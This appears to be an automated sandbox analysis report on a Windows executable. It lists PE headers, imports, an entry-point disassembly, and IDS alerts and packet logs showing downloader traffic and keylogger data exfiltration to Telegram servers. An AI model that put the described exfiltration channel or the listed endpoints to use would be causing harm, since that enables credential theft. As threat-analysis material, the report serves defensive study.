File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007F64AC8264E3h
push ebp
call 00007F64AC829626h
cmp eax, ebp
je 00007F64AC8264D9h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007F64AC8295A3h
push 0040A2ECh
call 00007F64AC829599h
push 0040A2E0h
call 00007F64AC82958Fh
push 00000009h
call 00007F64AC8295F4h
push 00000007h
call 00007F64AC8295EDh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007F64AC8291DAh
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007F64AC8291C8h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T09:05:33.778781+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49804	172.217.19.174	443	TCP
2024-12-16T09:05:41.724171+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49826	193.122.6.168	80	TCP
2024-12-16T09:05:49.708588+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49826	193.122.6.168	80	TCP
2024-12-16T09:05:51.900356+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49852	149.154.167.220	443	TCP
2024-12-16T09:05:53.508834+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49858	193.122.6.168	80	TCP
2024-12-16T09:05:55.509609+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49861	149.154.167.220	443	TCP
2024-12-16T09:05:59.009494+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49872	149.154.167.220	443	TCP
2024-12-16T09:06:02.572563+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49883	149.154.167.220	443	TCP
2024-12-16T09:06:06.332693+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49891	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 09:05:31.147376060 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:31.147422075 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:31.147511959 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:31.165493965 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:31.165534973 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:32.866229057 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:32.866326094 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:32.867393970 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:32.867468119 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:32.946434021 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:32.946512938 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:32.946986914 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:32.947062016 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:32.951417923 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:32.995383024 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:33.778799057 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:33.778882980 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:33.778891087 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:33.778923035 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:33.779854059 CET	49804	443	192.168.2.4	172.217.19.174
Dec 16, 2024 09:05:33.779874086 CET	443	49804	172.217.19.174	192.168.2.4
Dec 16, 2024 09:05:33.933680058 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:33.933722973 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:33.933783054 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:33.934046030 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:33.934062958 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:35.634788990 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:35.634923935 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:35.640613079 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:35.640635014 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:35.640943050 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:35.642479897 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:35.656537056 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:35.699348927 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.552872896 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.552988052 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.565912962 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.566004992 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.672166109 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.672280073 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.672292948 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.673542023 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.676326990 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.677331924 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.744189024 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.744580984 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.748074055 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.748166084 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.748173952 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.748836040 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.753772020 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.756557941 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.761651993 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.764991045 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.764997005 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.765038967 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.770908117 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.773503065 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.773762941 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.773924112 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.780189037 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.780971050 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.787563086 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.787620068 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.791441917 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.792694092 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.801289082 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.805525064 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.805531979 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.805589914 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.814812899 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.814917088 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.818023920 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.821515083 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.828466892 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.828982115 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.831650972 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.831727028 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.842170954 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.842286110 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.845347881 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.845447063 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.855901003 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.856724024 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.859127998 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.859178066 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.869621992 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.869679928 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.869719982 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.869779110 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.883246899 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.884483099 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.903295040 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.903382063 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.903394938 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.903433084 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.935935974 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.936031103 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.936043024 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.936084032 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.938086033 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.938132048 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.942645073 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.942697048 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.942722082 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.942760944 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.946393013 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.946445942 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.946470976 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.946506977 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.958904028 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.958956957 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.960294962 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.960345030 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.960354090 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.960397959 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.969774008 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.969835043 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.969908953 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.969954014 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.980671883 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.980740070 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.980830908 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.980880022 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.989608049 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.989679098 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:38.989684105 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:38.989727974 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.002029896 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.002151966 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.002166033 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.002237082 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.011015892 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.011102915 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.011115074 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.011158943 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.021136999 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.021193981 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.021243095 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.021280050 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.031052113 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.031167030 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.031193972 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.031251907 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.040024042 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.040096998 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.040117025 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.040149927 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.050889015 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.051017046 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.051207066 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.051248074 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.058753967 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.058840036 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.058850050 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.058903933 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.067821026 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.067871094 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.067914009 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.067950964 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.076564074 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.076622963 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.076790094 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.076826096 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.076832056 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.076869011 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.077971935 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.078008890 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.078064919 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.078092098 CET	443	49812	142.250.181.1	192.168.2.4
Dec 16, 2024 09:05:39.078134060 CET	49812	443	192.168.2.4	142.250.181.1
Dec 16, 2024 09:05:39.849540949 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:39.969441891 CET	80	49826	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:39.969645977 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:39.969947100 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:40.089787960 CET	80	49826	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:41.243218899 CET	80	49826	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:41.247028112 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:41.366830111 CET	80	49826	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:41.675928116 CET	80	49826	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:41.724170923 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:42.148387909 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:42.148451090 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:42.148523092 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:42.152631998 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:42.152663946 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:43.368091106 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:43.368242979 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:43.372093916 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:43.372147083 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:43.372443914 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:43.376308918 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:43.419339895 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:43.808037996 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:43.808118105 CET	443	49832	104.21.67.152	192.168.2.4
Dec 16, 2024 09:05:43.808180094 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:43.822886944 CET	49832	443	192.168.2.4	104.21.67.152
Dec 16, 2024 09:05:49.255486965 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:49.376686096 CET	80	49826	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:49.660937071 CET	80	49826	193.122.6.168	192.168.2.4
Dec 16, 2024 09:05:49.708587885 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:49.803417921 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:49.803546906 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:49.803700924 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:49.804147005 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:49.804181099 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.170268059 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.170392036 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:51.188374043 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:51.188457012 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.188801050 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.190689087 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:51.235335112 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.235435963 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:51.235460997 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.900382996 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.900486946 CET	443	49852	149.154.167.220	192.168.2.4
Dec 16, 2024 09:05:51.900569916 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:51.901094913 CET	49852	443	192.168.2.4	149.154.167.220
Dec 16, 2024 09:05:52.072551012 CET	49826	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:52.073790073 CET	49858	80	192.168.2.4	193.122.6.168
Dec 16, 2024 09:05:52.192671061 CET	80	49826	193.122.6.168	192.168.2.4
